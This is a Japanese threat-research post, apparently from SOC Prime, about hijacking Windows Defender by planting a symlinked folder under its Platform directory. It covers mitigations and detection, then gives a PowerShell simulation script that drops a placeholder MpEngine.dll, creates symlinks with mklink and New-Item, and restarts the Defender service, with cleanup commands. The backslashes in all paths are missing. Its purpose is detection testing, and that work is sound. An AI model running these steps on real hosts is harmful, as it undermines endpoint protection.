SOC Prime Bias: クリティカル

14 Jan 2026 14:55 UTC

フォルダリダイレクト手法で Windows Defender の保護シェルを突破する

Author Photo
Ruslan Mikhalov Chief of Threat Research at SOC Prime linkedin icon フォローする
フォルダリダイレクト手法で Windows Defender の保護シェルを突破する
shield icon

Detection stack

  • AIDR
  • Alert
  • ETL
  • Query

概要

この記事は、攻撃者が制御する場所にポイントするシンボリックリンクディレクトリをDefender Platformパス内に配置することで、フォルダリダイレクションを悪用するWindows Defenderハイジャック手法を示しています。このシンボリックリンクフォルダに正当なプラットフォームディレクトリよりも高い「バージョン」番号を割り当てることにより、Defenderは再起動後に攻撃者が制御するパスを選択し、そこからコンポーネントをロードする可能性があります。これにより、DLLのサイドローディング、選択的なファイル削除、さらにはDefenderサービスの操作上の混乱を引き起こす機会が生まれます。

調査

著者のワークフローでは、アクティブなDefenderプラットフォームフォルダを一時的に攻撃者が制御するディレクトリにコピーし、プラットフォームの場所に(mklink /Dを使用して)作成したディレクトリシンボリックリンクを、偽造された高いバージョンの識別子を使用して追加します。再起動後、Defenderがリダイレクトされたディレクトリから実行されているのが観察され、DLLハイジャックやバイナリの削除によってDefenderの起動や保護を妨害するといった操作が可能になります。

緩和策

Windows Defender Platformディレクトリへの書き込み権限を厳密に制限し、シンボリックリンクの作成や予期しない「バージョン形式」サブフォルダの生成を監視することでリスクを最小化します。Defenderバイナリの整合性を管理し、実行可能パスの変更やプラットフォームディレクトリの選択挙動に変更があった場合はアラートを出します。可能であれば、Windows Defender Application Control(WDAC)や同等のハードニングポリシーを適用し、保護されたシステムの場所での不正な変更を防止します。

対応策

C:ProgramDataMicrosoftWindows DefenderPlatform以下に新しいシンボリックリンクフォルダが現れた場合や、mklinkがそのディレクトリを対象に使用された際にアラートを発します。Defenderファイルの整合性を確認し、実行中のバイナリが予想されたプラットフォームフォルダに由来していることを確認します。改ざんが確認された場合は、悪意のあるシンボリックリンクを削除し、信頼できるソースからDefenderプラットフォームファイルを復元してから、Defenderサービスを再起動し、ホスト全体の保護を再確認します。

攻撃フロー

シミュレーション実行

前提条件: テレメトリーとベースラインのプリフライトチェックが成功している必要があります。

理由: このセクションは、検出ルールをトリガーすることを目的とした敵対者の技術(TTP)の正確な実行を詳細に説明します。コマンドと説明は直接的に識別されたTTPを反映し、検出ロジックが予想するテレメトリーを正確に生成することを目的とします。抽象的または関連のない例は誤診につながります。

  • 攻撃の説明とコマンド:
    敵対者は、ターゲットホストで低権限のユーザーアカウントを侵害しており、彼らの目的は、Windows Defenderが開始されたときに悪意のあるペイロードをロードするために、Defenderの「Platform」フォルダを彼らが制御する場所にリダイレクトすることです。彼らは以下の手順を実行します。

    1. ステージングディレクトリを作成 (C:TMPAV)に悪意のあるDLLを保持します。
    2. ステージングディレクトリに配置 Defenderが期待する名前である MpEngine.dll に加工されたDLLを。
    3. ディレクトリシンボリックリンクを作成 名前 C:ProgramDataMicrosoftWindows DefenderPlatform{random} ステージングディレクトリを指すようにし、ネイティブの mklink ユーティリティ(Sigmaルールをトリガーするため)とPowerShellの New‑Item (ルール回避をテストするため)を使用して。
    4. Windows Defenderサービスを再起動し 乗っ取られたパスからの読み込みを強制します。
  • リグレッションテストスクリプト:

    # ==============================
    #  フォルダハイジャックシミュレーション
    # ==============================
    $defenderPlatform = "C:ProgramDataMicrosoftWindows DefenderPlatform"
    $attackerStaging = "C:TMPAV"
    $linkName = "$defenderPlatformHijackTarget"
    
    # 1. ステージングフォルダを準備
    New-Item -Path $attackerStaging -ItemType Directory -Force | Out-Null
    
    # 2. ダミーの悪意のあるDLLをドロップ(プレースホルダー)
    $dummyDll = "$attackerStagingMpEngine.dll"
    Set-Content -Path $dummyDll -Value "MALICIOUS DLL CONTENT" -Encoding ASCII
    
    # 3a. ネイティブmklinkでシンボリックリンクを作成(Sigmaルールをトリガー)
    cmd /c "mklink /D `"$linkName`" `"$attackerStaging`""
    
    # 3b. PowerShellでシンボリックリンクを作成(回避をテスト)
    $psLink = "$defenderPlatformHijackTarget_PS"
    New-Item -ItemType SymbolicLink -Path $psLink -Target $attackerStaging -Force
    
    # 4. Windows Defenderサービスを再起動(管理者権限が必要)
    # 注意: このステップは、堅牢な環境ではブロックされている可能性があります。完全性のために含めています。
    Restart-Service -Name "WinDefend" -Force
  • クリーンアップコマンド:

    # 作成したシンボリックリンクとステージングファイルを削除
    $links = @(
        "C:ProgramDataMicrosoftWindows DefenderPlatformHijackTarget",
        "C:ProgramDataMicrosoftWindows DefenderPlatformHijackTarget_PS"
    )
    foreach ($l in $links) {
        if (Test-Path $l) { Remove-Item $l -Force }
    }
    
    $staging = "C:TMPAV"
    if (Test-Path $staging) { Remove-Item $staging -Recurse -Force }
    
    # 必要に応じてDefenderプラットフォームフォルダを元に戻す(シミュレーションには必要ありません)